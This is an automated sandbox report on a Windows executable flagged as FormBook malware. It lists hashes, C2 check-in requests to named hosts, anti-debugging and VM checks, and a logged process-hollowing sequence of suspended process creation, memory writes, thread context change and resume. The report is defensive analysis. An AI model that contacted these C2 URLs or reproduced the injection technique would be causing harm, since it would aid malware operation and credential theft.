Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	July 30, 2023, 8:50 a.m.	July 30, 2023, 8:53 a.m.

Size	532.5KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`3a7cc97f59790807311ef47ae5cc28ca`
SHA256	`99bb71c925f112035797c13df8af4106c78c305aecea027583007145fce87de7`
CRC32	`C87080F3`
ssdeep	`12288:aX1pD4FjVF4xTHFxNRtPj1/0iLAgAZxvx/wd:aX1l4FH4xTFiiOZxvx/c`
PDB Path	ygfQ.pdb
Yara	Is_DotNET_EXE - (no description) PE_Header_Zero - PE File Signature IsPE32 - (no description)

fbinzx.exe "C:\Users\test22\AppData\Local\Temp\fbinzx.exe"
2572
- fbinzx.exe "C:\Users\test22\AppData\Local\Temp\fbinzx.exe"
  2876

Name	Response	Post-Analysis Lookup
www.36-m.beauty	A 156.230.205.39	156.230.205.39
www.casa-hilo.com	CNAME shops.myshopify.com A 23.227.38.74	23.227.38.74

IP Address	Status	Action
156.230.205.39	Active	Moloch
164.124.101.2	Active	Moloch
23.227.38.74	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49166 -> 23.227.38.74:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
UDP 192.168.56.101:54148 -> 164.124.101.2:53	2044179	ET HUNTING Observed Query to .beauty TLD	Potentially Bad Traffic
TCP 192.168.56.101:49167 -> 156.230.205.39:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 30, 2023, 8:50 a.m.			0	0
IsDebuggerPresent July 30, 2023, 8:50 a.m.			0	0

This executable has a PDB path (1 event)

pdb_path

ygfQ.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 30, 2023, 8:50 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	GET method with no useragent header				suspicious_request	GET http://www.casa-hilo.com/btrd/?blm=BMYEhhN4qKhLneP2t4DYpBocsvBE62SOJU9NCOd5/PIUgS/yqfI03blVivjJ3b1IQdFTnqft&uVg8A=M6Al
suspicious_features	GET method with no useragent header				suspicious_request	GET http://www.36-m.beauty/btrd/?blm=fsO7LJV8pcnx+es9Gts03N8ftxquB7IY0G5hW1obA2KYArJ49pBsmzxrJSVXrlPCdrhTiUFd&uVg8A=M6Al

Performs some HTTP requests (2 events)

request	GET http://www.casa-hilo.com/btrd/?blm=BMYEhhN4qKhLneP2t4DYpBocsvBE62SOJU9NCOd5/PIUgS/yqfI03blVivjJ3b1IQdFTnqft&uVg8A=M6Al
request	GET http://www.36-m.beauty/btrd/?blm=fsO7LJV8pcnx+es9Gts03N8ftxquB7IY0G5hW1obA2KYArJ49pBsmzxrJSVXrlPCdrhTiUFd&uVg8A=M6Al

Allocates read-write-execute memory (usually to unpack itself) (33 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 1179648 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00670000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00750000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 2031616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022f0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00355000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0035b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00357000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0033c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00560000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0034a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00347000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0033a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00561000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x732e2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00346000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00562000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00563000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00564000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002ac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00565000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00566000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0033d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0033e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00567000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00568000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00569000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0056a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0056b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2876 region_size: 3158016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00b70000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x00084800', u'virtual_address': u'0x00002000', u'entropy': 7.973913637196295, u'name': u'.text', u'virtual_size': u'0x000847e8'}

entropy

7.9739136372

description

A section with a high entropy has been found

entropy

0.996240601504

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW July 30, 2023, 8:50 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (8 events)

description	Used Formbook[m]	rule	Win_Trojan_Formbook_m_Zero
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Bypass DEP	rule	disable_dep

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2876 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002c4	1	0	0

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory July 30, 2023, 8:50 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELi#H?à Òñð@ð@.textäÑÒ ` base_address: 0x00400000 process_identifier: 2876 process_handle: 0x000002c4	1	1	0
WriteProcessMemory July 30, 2023, 8:50 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2876 process_handle: 0x000002c4	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory July 30, 2023, 8:50 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELi#H?à Òñð@ð@.textäÑÒ ` base_address: 0x00400000 process_identifier: 2876 process_handle: 0x000002c4	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2572 called NtSetContextThread to modify thread in remote process 2876
NtSetContextThread July 30, 2023, 8:50 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4321664 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000002c0 process_identifier: 2876	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2572 resumed a thread in remote process 2876
NtResumeThread July 30, 2023, 8:50 a.m.	thread_handle: 0x000002c0 suspend_count: 1 process_identifier: 2876	1	0	0

Executed a process and injected code into it, probably while unpacking (15 events)

Time & API	Arguments	Status	Return
NtResumeThread July 30, 2023, 8:50 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2572	1	0
NtResumeThread July 30, 2023, 8:50 a.m.	thread_handle: 0x0000014c suspend_count: 1 process_identifier: 2572	1	0
NtResumeThread July 30, 2023, 8:50 a.m.	thread_handle: 0x00000188 suspend_count: 1 process_identifier: 2572	1	0
NtResumeThread July 30, 2023, 8:50 a.m.	thread_handle: 0x000002b8 suspend_count: 1 process_identifier: 2572	1	0
NtGetContextThread July 30, 2023, 8:50 a.m.	thread_handle: 0x000000e0	1	0
NtGetContextThread July 30, 2023, 8:50 a.m.	thread_handle: 0x000000e0	1	0
NtResumeThread July 30, 2023, 8:50 a.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 2572	1	0
CreateProcessInternalW July 30, 2023, 8:50 a.m.	thread_identifier: 2880 thread_handle: 0x000002c0 process_identifier: 2876 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\fbinzx.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\fbinzx.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x000002c4	1	1
NtGetContextThread July 30, 2023, 8:50 a.m.	thread_handle: 0x000002c0	1	0
NtAllocateVirtualMemory July 30, 2023, 8:50 a.m.	process_identifier: 2876 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002c4	1	0
WriteProcessMemory July 30, 2023, 8:50 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELi#H?à Òñð@ð@.textäÑÒ ` base_address: 0x00400000 process_identifier: 2876 process_handle: 0x000002c4	1	1
WriteProcessMemory July 30, 2023, 8:50 a.m.	buffer: base_address: 0x00401000 process_identifier: 2876 process_handle: 0x000002c4	1	1
WriteProcessMemory July 30, 2023, 8:50 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2876 process_handle: 0x000002c4	1	1
NtSetContextThread July 30, 2023, 8:50 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4321664 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000002c0 process_identifier: 2876	1	0
NtResumeThread July 30, 2023, 8:50 a.m.	thread_handle: 0x000002c0 suspend_count: 1 process_identifier: 2876	1	0

fbinzx.exe

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